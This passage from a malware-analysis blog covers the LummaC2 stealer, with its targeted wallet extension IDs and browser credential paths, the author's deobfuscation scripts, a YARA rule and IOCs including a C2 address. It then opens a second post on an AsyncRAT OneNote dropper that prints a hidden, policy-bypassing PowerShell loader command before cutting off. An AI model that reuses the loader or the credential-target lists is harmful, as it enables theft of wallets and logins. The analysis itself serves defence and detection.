flpiciilemghbmfalicajoolhkkenfel
Nabox
ffnbelfdoeiohenkjibnmadjiehjhajb
Web Data
Login Data
aiifbnbfobpmeekipheeijimdpnlpgpp
Keplr
dmkamcknogkgcdfhhbddcghachkejeap
Sollet
nlgbhdfgdhgbiamfdfmbikcdghidoadd
Coinbase
hnfanknocfeofbddgcijnmhnfnkdnaad
Guarda
hpglfhgfnhbgpjdenjgmdgoeiappafln
EQUAL
blnieiiffboillknjnepogjhkgnoapac
lkcjlnjfpbikmcmbachjpdbijejflpcm
Nash Extension
onofpnbbkehpmmoabgpcpmigafmmnjhl
Hycon Lite Client
Trezor Password Manager
imloifkgjagghnncjkhggdhalmcnfklk
EOS Authenticator
oeljdldpnmdbchonielidgobddffflal
GAuth Authenticator
ilgcnhelpchnceeipipijaljkblbcobl
nknhiehlklippafakaeklbeglecifhad
KHC
\Local State
*.txt
%userprofile%
Wallets/Ethereum
keystore
%appdata%\Ethereum
%localappdata%\Kometa\User
Chromium
%localappdata%\Chromium\User Data
Edge
%localappdata%\Microsoft\Edge\Us
%appdata%\Opera Software\Op576xe
Chrome
%localappdata%\Google\Chro
Mozilla Firefox
Wallets/Binance
app-store.json
%appdata%\Binance
Kometa
Important Files/Profile
Opera GX Stable
%appdata%\Opera Software\Op576xe
Opera Neon
Opera Stable
%appdata%\Opera Software\Op576xe
Wallets/Electrum
*
%appdata%\Electrum\wallets
%appdata%\Mozilla\Firefox\Prof57
System.txt
</code></pre></div></div>

<h2 id="chrome-extensions-crx">Chrome Extensions (CRX)</h2>
<p>Looking at the strings there is a lot of extensions names that Lumma targets, but the thing that I was curious about were the 32 length lower case strings (for example: <code class="language-plaintext highlighter-rouge">ilgcnhelpchnceeipipijaljkblbcobl</code>) those strings are actually CRX IDs (Chrome Extension ID) which by navigating to <code class="language-plaintext highlighter-rouge">C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Extensions</code> and looking for the CRX ID the stealer will know whether or not the extension exists on the victims computer and if it does it will continue to exfiltrate the extension sensitive data.</p>

<p><img src="/assets/images/Lumma-Breakdown/8.png" alt="image.png" /></p>

<p>I’ve created a python script that will lookup for those unique ID’s in the previously extracted strings file and fetch the name of the extension from google chrome webstore:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span><span class="p">,</span> <span class="n">requests</span>

<span class="n">LUMMA_STRINGS</span> <span class="o">=</span> <span class="s">'/Users/igal/malwares/Lumma/29.03.2023/LummaStrings.txt'</span>
<span class="n">REGEX_PATTERN</span> <span class="o">=</span> <span class="s">'^[a-z]{32}$'</span>
<span class="n">strings</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">LUMMA_STRINGS</span><span class="p">,</span><span class="s">'r'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">crxExtensionList</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">REGEX_PATTERN</span><span class="p">,</span><span class="n">strings</span><span class="p">,</span><span class="n">re</span><span class="p">.</span><span class="n">MULTILINE</span><span class="p">)</span>


<span class="k">for</span> <span class="n">crxId</span> <span class="ow">in</span> <span class="n">crxExtensionList</span><span class="p">:</span>
    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'https://chrome.google.com/webstore/detail/</span><span class="si">{</span><span class="n">crxId</span><span class="si">}</span><span class="s">'</span>
    <span class="n">responseText</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">text</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">startIndex</span> <span class="o">=</span> <span class="n">responseText</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="s">'itemprop="name" content="'</span><span class="p">)</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="s">'itemprop="name" content="'</span><span class="p">)</span>
        <span class="n">endIndex</span> <span class="o">=</span> <span class="n">responseText</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="s">'"'</span><span class="p">,</span> <span class="n">startIndex</span><span class="p">)</span>
        <span class="n">extensionName</span> <span class="o">=</span> <span class="n">responseText</span><span class="p">[</span><span class="n">startIndex</span><span class="p">:</span><span class="n">endIndex</span><span class="p">]</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] Extension name:</span><span class="si">{</span><span class="n">extensionName</span><span class="si">}</span><span class="s"> , CRX ID:</span><span class="si">{</span><span class="n">crxId</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
        <span class="k">continue</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Extension name:NeoLine , CRX ID:cphhlgmgameodnhkjdmkpanlelnlohao
[+] Extension name:CLV Wallet , CRX ID:nhnkbkgjikgcigadomkphalanndcapjk
[+] Extension name:Liquality Wallet , CRX ID:kpfopkelmapcoipemfendmdcghnegimn
[+] Extension name:Auro Wallet , CRX ID:cnmamaachppnkjgnildpdmkaakejnhae
[+] Extension name:Coin98 Wallet , CRX ID:aeachknmefphepccionboohckonoeemg
[+] Extension name:Authenticator , CRX ID:bhghoamapcdpbohphigoooaddinpkbai
[+] Extension name:Cyano Wallet , CRX ID:dkdedlpgdmmkkfjabffeganieamfklkm
[+] Extension name:iWallet , CRX ID:kncchdigobghenbbaddojjnnaogfppfj
[+] Extension name:Enkrypt: Ethereum, Polkadot &amp;amp; Canto Wallet , CRX ID:kkpllkodjeloidieedojogacfhpaihoh
[+] Extension name:Wombat - Gaming Wallet for Ethereum &amp;amp; EOS , CRX ID:amkmjjmmflddogmhpjloimipbofnfjih
[+] Extension name:MEW CX - is now Enkrypt , CRX ID:nlbmnnijcnlegkjjpcfjclmcfggfefdm
[+] Extension name:LeafWallet - Easy to use EOS wallet , CRX ID:cihmoadaighcejopammfbmddcmdekcje
[+] Extension name:MetaMask , CRX ID:nkbihfbeogaeaoehlefnkodbefgpgknn
[+] Extension name:TronLink , CRX ID:ibnejdfjmmkpcnlpebklmnkoeoihofec
[+] Extension name:Ronin Wallet , CRX ID:fnjhmkhhmkbjkkabndcnnogagogbneec
[+] Extension name:Binance Wallet , CRX ID:fhbohimaelbohpjbbldcngcnapndodjp
[+] Extension name:Math Wallet , CRX ID:afbcbjpbpfadlkmhmclhkeeodmamcflc
[+] Extension name:Authy , CRX ID:gaedmjdfmmahhbjefcbgaolhhanlaolb
[+] Extension name:Hycon Lite Client , CRX ID:bcopgchhojmggmffilplmbdicgaihlkp
[+] Extension name:ZilPay , CRX ID:klnaejjgbibmhlephnhpmaofohgkpgkd
[+] Extension name:Phantom , CRX ID:bfnaelmomeimhlpmgjnjophhpkkoljpa
[+] Extension name:KHC , CRX ID:hcflpincpppdclinealmandijcmnkbgn
[+] Extension name:Temple - Tezos Wallet , CRX ID:ookjlbkiijinhpmnjffcofjonbfbgaoc
[+] Extension name:TezBox - Tezos Wallet , CRX ID:mnfifefkajgofkcjkemidiaecocnkjeh
[+] Extension name:DAppPlay , CRX ID:lodccjjbdhfakaekdiahmedfbieldgik
[+] Extension name:Polymesh Wallet , CRX ID:jojhfeoedkpkglbfimdfabpdfjaoolaf
[+] Extension name:ICONex , CRX ID:flpiciilemghbmfalicajoolhkkenfel
[+] Extension name:Yoroi , CRX ID:ffnbelfdoeiohenkjibnmadjiehjhajb
[+] Extension name:Station Wallet , CRX ID:aiifbnbfobpmeekipheeijimdpnlpgpp
[+] Extension name:Keplr , CRX ID:dmkamcknogkgcdfhhbddcghachkejeap
[+] Extension name:Byone , CRX ID:nlgbhdfgdhgbiamfdfmbikcdghidoadd
[+] Extension name:Coinbase Wallet extension , CRX ID:hnfanknocfeofbddgcijnmhnfnkdnaad
[+] Extension name:Guarda , CRX ID:hpglfhgfnhbgpjdenjgmdgoeiappafln
[+] Extension name:Trezor Password Manager , CRX ID:imloifkgjagghnncjkhggdhalmcnfklk
[+] Extension name:EOS Authenticator , CRX ID:oeljdldpnmdbchonielidgobddffflal
[+] Extension name:GAuth Authenticator , CRX ID:ilgcnhelpchnceeipipijaljkblbcobl
[+] Extension name:Nabox Wallet , CRX ID:nknhiehlklippafakaeklbeglecifhad
</code></pre></div></div>

<h2 id="dynamic-api-resolve">Dynamic API Resolve</h2>
<p>Lumma hides some of its APIs by hashing then using the <strong>MurmurHash2 hashing algorithim</strong> , it can be identifed by the const: <code class="language-plaintext highlighter-rouge">0x5bd1e995</code>:</p>

<p><img src="/assets/images/Lumma-Breakdown/9.png" alt="image.png" /></p>

<p>Lumma will pass two arguments to the API resolving function:</p>
<ol>
  <li>The hash of the wanted API</li>
  <li>The DLL which contains the API</li>
</ol>

<p><img src="/assets/images/Lumma-Breakdown/10.png" alt="image-2.png" /></p>

<p>I have two scripts that I wrote for this part, the first script is IDA script that will get all the xrefs to the API resolving function, extract the hash and the API hash, and will save the output to a text file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">idc</span>
<span class="kn">import</span> <span class="nn">idautils</span>

<span class="n">API_FUNCTION</span> <span class="o">=</span> <span class="mh">0x471958</span> <span class="c1"># Change to the relevant function call
</span><span class="n">APIS_FILE_PATH</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Output file for the strings
</span>
<span class="n">apiDict</span> <span class="o">=</span> <span class="p">{}</span>

<span class="k">def</span> <span class="nf">getDLLRef</span><span class="p">(</span><span class="n">hash_addr</span><span class="p">):</span>
    <span class="n">ref_addr</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">prev_head</span><span class="p">(</span><span class="n">hash_addr</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">print_insn_mnem</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span> <span class="o">==</span> <span class="s">'push'</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_operand_type</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="n">idc</span><span class="p">.</span><span class="n">o_imm</span><span class="p">:</span>
            <span class="n">dll_addr</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_operand_value</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_bytes</span><span class="p">(</span><span class="n">dll_addr</span><span class="p">,</span> <span class="mi">50</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00\x00</span><span class="s">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">getHashDict</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">):</span>
    <span class="n">ref_addr</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">prev_head</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">print_insn_mnem</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span> <span class="o">==</span> <span class="s">'push'</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_operand_type</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="n">idc</span><span class="p">.</span><span class="n">o_imm</span><span class="p">:</span>
            <span class="n">hashVal</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">idc</span><span class="p">.</span><span class="n">get_operand_value</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>
            <span class="k">if</span> <span class="n">hashVal</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">apiDict</span> <span class="ow">or</span> <span class="n">apiDict</span><span class="p">[</span><span class="n">hashVal</span><span class="p">]</span> <span class="o">==</span> <span class="bp">None</span><span class="p">:</span>
                <span class="n">dllVal</span> <span class="o">=</span> <span class="n">getDLLRef</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span>
                <span class="n">apiDict</span><span class="p">[</span><span class="n">hashVal</span><span class="p">]</span> <span class="o">=</span> <span class="n">dllVal</span>

<span class="k">for</span> <span class="n">xref</span> <span class="ow">in</span> <span class="n">idautils</span><span class="p">.</span><span class="n">XrefsTo</span><span class="p">(</span><span class="n">API_FUNCTION</span><span class="p">):</span>
    <span class="n">getHashDict</span><span class="p">(</span><span class="n">xref</span><span class="p">.</span><span class="n">frm</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">apiDict</span><span class="p">)</span><span class="si">}</span><span class="s"> API hashes were extracted'</span><span class="p">)</span>

<span class="n">out</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">APIS_FILE_PATH</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">apiDict</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
    <span class="n">out</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">v</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">out</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] 18 API hashes were extracted

################
# OUTPUT FILE: #
################

0xe8ff1073 - crypt32.dll
0x864087d1 - crypt32.dll
0x7328f505 - kernel32.dll
0xc40f97d4 - advapi32.dll
0x507048c2 - winhttp.dll
0x406457c2 - winhttp.dll
0x7aa0edcc - winhttp.dll
0xb72f0de - winhttp.dll
0x59886bc0 - winhttp.dll
0x76b029a - winhttp.dll
0xf9f57cf0 - winhttp.dll
0xe268a0c1 - winhttp.dll
0xab3372e8 - winhttp.dll
0x5658bf2e - KernelBase.dll
0x23fef64a - advapi32.dll
0x5f086d32 - kernel32.dll
0xa2f80070 - kernel32.dll
0x2f9959e0 - kernel32.dll
</code></pre></div></div>

<p>The second script will extract the hashes and the DLLs names from the text file, and based on the DLL name it will be loaded using PEfile, and iterate through the DLL exports , hash them using murmurhash2 and compare it to the given hash: (<strong>NOTE:</strong> The seed in this case was <code class="language-plaintext highlighter-rouge">0x20</code> but it might be possible changed in future builds)</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pefile</span>
<span class="kn">from</span> <span class="nn">murmurhash2</span> <span class="kn">import</span> <span class="n">murmurhash2</span>

<span class="n">DLLS_PATH</span> <span class="o">=</span> <span class="s">'/Users/igal/malwares/Lumma/29.03.2023/dlls/'</span> <span class="c1"># can be replaced with system32 folder
</span><span class="n">LUMMA_API_HASHES</span> <span class="o">=</span> <span class="s">'/Users/igal/malwares/Lumma/29.03.2023/LummaApiHashes.txt'</span>

<span class="n">SEED</span> <span class="o">=</span> <span class="mh">0x20</span> <span class="c1"># might be changed in upcoming builds
</span>
<span class="k">def</span> <span class="nf">hashDllAPI</span><span class="p">(</span><span class="n">dllName</span><span class="p">,</span> <span class="n">apiHash</span><span class="p">):</span>
    <span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="n">PE</span><span class="p">(</span><span class="n">dllName</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">export</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_EXPORT</span><span class="p">.</span><span class="n">symbols</span><span class="p">:</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">expName</span> <span class="o">=</span> <span class="n">export</span><span class="p">.</span><span class="n">name</span>
            <span class="n">hashValue</span> <span class="o">=</span> <span class="n">murmurhash2</span><span class="p">(</span><span class="n">expName</span><span class="p">,</span> <span class="n">SEED</span><span class="p">)</span>
            <span class="k">if</span> <span class="nb">hex</span><span class="p">(</span><span class="n">hashValue</span><span class="p">)</span> <span class="o">==</span> <span class="n">apiHash</span><span class="p">:</span>
                <span class="k">return</span> <span class="n">expName</span><span class="p">.</span><span class="n">decode</span><span class="p">()</span>
        <span class="k">except</span> <span class="nb">AttributeError</span><span class="p">:</span>
            <span class="k">continue</span>

<span class="n">apiHashesFile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">LUMMA_API_HASHES</span><span class="p">,</span><span class="s">'r'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">apiHashesFile</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>


<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">' - '</span><span class="p">)</span>
    <span class="n">dllName</span> <span class="o">=</span> <span class="n">hashDllAPI</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">DLLS_PATH</span><span class="si">}{</span><span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s">'</span><span class="p">,</span> <span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] </span><span class="si">{</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">dllName</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] 0xe8ff1073 - CryptStringToBinaryA
[+] 0x864087d1 - CryptUnprotectData
[+] 0x7328f505 - ExpandEnvironmentStringsW
[+] 0xc40f97d4 - GetCurrentHwProfileA
[+] 0x507048c2 - WinHttpOpenRequest
[+] 0x406457c2 - WinHttpConnect
[+] 0x7aa0edcc - WinHttpCloseHandle
[+] 0xb72f0de - WinHttpSendRequest
[+] 0x59886bc0 - WinHttpWriteData
[+] 0x76b029a - WinHttpReceiveResponse
[+] 0xf9f57cf0 - WinHttpOpen
[+] 0xe268a0c1 - WinHttpSetTimeouts
[+] 0xab3372e8 - WinHttpAddRequestHeaders
[+] 0x5658bf2e - IsWow64Process2
[+] 0x23fef64a - GetUserNameA
[+] 0x5f086d32 - GetPhysicallyInstalledSystemMemory
[+] 0xa2f80070 - GetComputerNameA
[+] 0x2f9959e0 - GetSystemDefaultLocaleName
</code></pre></div></div>

<h1 id="yara-rule">Yara Rule</h1>
<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rule</span> <span class="n">Win_LummaC2</span> <span class="p">{</span>
    <span class="n">meta</span><span class="p">:</span>
        <span class="n">author</span> <span class="o">=</span> <span class="s">"0xToxin"</span>
        <span class="n">description</span> <span class="o">=</span> <span class="s">"LummaC2 Strings"</span>
    <span class="n">strings</span><span class="p">:</span>
		<span class="err">$</span><span class="n">obfuscatorString</span> <span class="o">=</span> <span class="s">"576xed"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s1</span> <span class="o">=</span> <span class="s">"dp.txt"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s2</span> <span class="o">=</span> <span class="s">"c2sock"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s3</span> <span class="o">=</span> <span class="s">"TeslaBrowser"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s4</span> <span class="o">=</span> <span class="s">"Software.txt"</span> <span class="n">ascii</span> <span class="n">wide</span>
    <span class="n">condition</span><span class="p">:</span>
        <span class="n">uint16</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="n">x5a4d</span> <span class="n">and</span> <span class="n">all</span> <span class="n">of</span> <span class="p">(</span><span class="err">$</span><span class="n">s</span><span class="o">*</span><span class="p">)</span> <span class="n">and</span> <span class="p">#</span><span class="n">obfuscatorString</span> <span class="o">&gt;</span> <span class="mi">10</span> <span class="n">and</span> <span class="n">filesize</span> <span class="o">&lt;</span> <span class="mi">1500</span><span class="n">KB</span>
<span class="p">}</span>
</code></pre></div></div>
<p><a href="https://www.unpac.me/yara/results/76b7b685-08a5-49db-9a23-4d227dd0c190">Yara Hunt</a> of the rule</p>

<h1 id="summary">Summary</h1>
<p>In this blog I went over some techniques used by the Lumma stealer including the hashing algorithim used in the API hashing procedure, the strings obfuscation and some Google Chrome extensions research.
<br />
If you want to learn more about how Lumma exfiltrates it data, check the blogs in the references below.</p>

<h1 id="iocs">IOCs</h1>
<ul>
  <li>URLs:
    <ul>
      <li>https://marketplace.walmart[.]lc/download.php</li>
    </ul>
  </li>
  <li>Files:
    <ul>
      <li>Walmart Brand Portal.rar - <a href="https://bazaar.abuse.ch/sample/d69520637a73226a61c09298295145923fc60a06584528cb1f05a530479a7a36/">d69520637a73226a61c09298295145923fc60a06584528cb1f05a530479a7a36</a></li>
      <li>Walmart Brand Portal.exe - <a href="https://bazaar.abuse.ch/sample/9b9388c1b9e9417df5ca4e883ef595455932dfce24ca1dad9897d506aecdac2a">9b9388c1b9e9417df5ca4e883ef595455932dfce24ca1dad9897d506aecdac2a</a></li>
      <li>Lumma Binary - <a href="https://bazaar.abuse.ch/sample/19fefb958bd9c9280d07754ab903022a3dc9fc380a6964733a1dcc016aba8150/">19fefb958bd9c9280d07754ab903022a3dc9fc380a6964733a1dcc016aba8150</a></li>
    </ul>
  </li>
  <li>C2:
    <ul>
      <li>82.117.255[.]80/c2sock</li>
    </ul>
  </li>
  <li>User Agent:
    <ul>
      <li>TeslaBrowser/5.5</li>
    </ul>
  </li>
</ul>

<h1 id="references">References</h1>
<ul>
  <li><a href="https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/">Cyble Lumma Analysis</a></li>
  <li><a href="https://twitter.com/fumik0_/status/1559481003604905984">Fumik0 tweets</a></li>
  <li><a href="https://asec.ahnlab.com/en/50594/">ahnlab Lumma Analysis</a></li>
  <li><a href="https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/">Attacking Emotet’s Control Flow Flattening</a></li>
  <li><a href="https://hex-rays.com/blog/hex-rays-microcode-api-vs-obfuscating-compiler/">Hex-Rays Microcode API vs. Obfuscating Compiler</a></li>
  <li><a href="https://github.com/abrandoned/murmur2/blob/master/MurmurHash2.c">MurmurHash2</a></li>
</ul>]]></content><author><name>0x1john</name></author><category term="Malware Analysis" /><category term="LummaC2" /><category term="IDA" /><category term="IDAPython" /><category term="Yara" /><summary type="html"><![CDATA[Breakdown of a key features stored in LummaC2 Stealer]]></summary></entry><entry><title type="html">AsyncRAT OneNote Dropper</title><link href="https://0x1john.github.io/malware%20analysis/AsyncRAT-OneNote-Dropper/" rel="alternate" type="text/html" title="AsyncRAT OneNote Dropper" /><published>2023-02-11T00:00:00+00:00</published><updated>2023-02-11T00:00:00+00:00</updated><id>https://0x1john.github.io/malware%20analysis/AsyncRAT-OneNote-Dropper</id><content type="html" xml:base="https://0x1john.github.io/malware%20analysis/AsyncRAT-OneNote-Dropper/"><![CDATA[<h1 id="intro">Intro</h1>
<p>We will be covering a recent payload delivery technique leveraging OneNote documents to lure users open fake attachments and become a victim of AsyncRAT malware.</p>

<h1 id="onenote-analysis">OneNote Analysis</h1>
<p>The OneNote document contains inside of itself a hidden .bat file that we can see by hovering the “phishy” button:</p>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/1.png" alt="image.png" /></p>

<p>We can use <a href="https://blog.didierstevens.com/2023/01/22/new-tool-onedump-py/">OneDump.py</a> in order to see what embedded files the document has and by this understand what we need to extract:
<img src="/assets/images/AsyncRAT-OneNote-Dropper/2.png" alt="image-2.png" /></p>

<p>We can see that 2 files has <code class="language-plaintext highlighter-rouge">.PNG</code> magic bytes which indicates that these files are images. but the second file actually starts with <code class="language-plaintext highlighter-rouge">@ech</code> which indicates a start of a <strong>Batch</strong> script.</p>

<p>We can dump the file by simply applying the flags <code class="language-plaintext highlighter-rouge">-s</code> followed up with the file stream ID and the <code class="language-plaintext highlighter-rouge">-d</code> for dump:
<img src="/assets/images/AsyncRAT-OneNote-Dropper/3.png" alt="image-3.png" /></p>

<h1 id="batch-analysis">Batch Analysis</h1>
<p>looking at the batch script on text editor we can see 3 main things:</p>
<ol>
  <li>The script contains broken strings that are assigned to variables.</li>
  <li>A huge Base64 blob in the middle of the script.</li>
  <li>A call that concatenates the broken strings into a command.</li>
</ol>

<p><img src="/assets/images/AsyncRAT-OneNote-Dropper/4.png" alt="image.png" /></p>

<p>We can use the <code class="language-plaintext highlighter-rouge">cmd</code> and copy paste the strings assigns and then output the final commands:
<img src="/assets/images/AsyncRAT-OneNote-Dropper/5.png" alt="image-2.png" /></p>

<p>These are the 3 commands that are being executed by the batch script:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1</span><span class="o">.</span><span class="w">
</span><span class="n">copy</span><span class="w"> </span><span class="nx">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nx">/y</span><span class="w"> </span><span class="s2">"%~0.exe"</span><span class="w">

</span><span class="mi">2</span><span class="o">.</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="s2">"%~dp0"</span><span class="w">

</span><span class="mi">3</span><span class="o">.</span><span class="w">
</span><span class="s2">"%~nx0.exe"</span><span class="w"> </span><span class="nt">-noprofile</span><span class="w"> </span><span class="nt">-windowstyle</span><span class="w"> </span><span class="kr">hidden</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="n">bypass</span><span class="w"> </span><span class="nt">-command</span><span class="w"> </span><span class="nv">$flLnL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::(</span><span class="s1">'txeTllAdaeR'</span><span class="p">[</span><span class="nt">-1</span><span class="o">..</span><span class="nf">-11</span><span class="p">]</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s1">''</span><span class="p">)(</span><span class="s1">'%~f0'</span><span class="p">)</span><span class="o">.</span><span class="nf">Split</span><span class="p">([</span><span class="n">Environment</span><span class="p">]::</span><span class="nx">NewLine</span><span class="p">);</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$jhglm</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$flLnL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$jhglm</span><span class="o">.</span><span class="nf">StartsWith</span><span class="p">(</span><span class="s1">':: '</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w">  </span><span class="nv">$uDeAm</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$jhglm</span><span class="o">.</span><span class="nf">Substring</span><span class="p">(</span><span class="nx">3</span><span class="p">);</span><span class="w"> </span><span class="kr">break</span><span class="p">;</span><span class="w"> </span><span class="p">};</span><span class="w"> </span><span class="p">};</span><span class="nv">$dLIJD</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::(</span><span class="s1">'gnirtS46esaBmorF'</span><span class="p">[</span><span class="nt">-1</span><span class="o">..</span><span class="nf">-16</span><span class="p">]</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s1">''</span><span class="p">)(</span><span class="nv">$uDeAm</span><span class="p">);</span><span class="nv">$nJkwh</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Security.Cryptography.AesManaged</span><span class="p">;</span><span class="nv">$nJkwh</span><span class="o">.</span><span class="nf">Mode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.CipherMode</span><span class="p">]::</span><span class="n">CBC</span><span class="p">;</span><span class="nv">$nJkwh</span><span class="o">.</span><span class="nf">Padding</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Security.Cryptography.PaddingMode</span><span class="p">]::</span><span class="n">PKCS7</span><span class="p">;</span><span class="nv">$nJkwh</span><span class="o">.</span><span class="nf">Key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::(</span><span class="s1">'gnirtS46esaBmorF'</span><span class="p">[</span><span class="nt">-1</span><span class="o">..</span><span class="nf">-16</span><span class="p">]</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s1">''</span><span 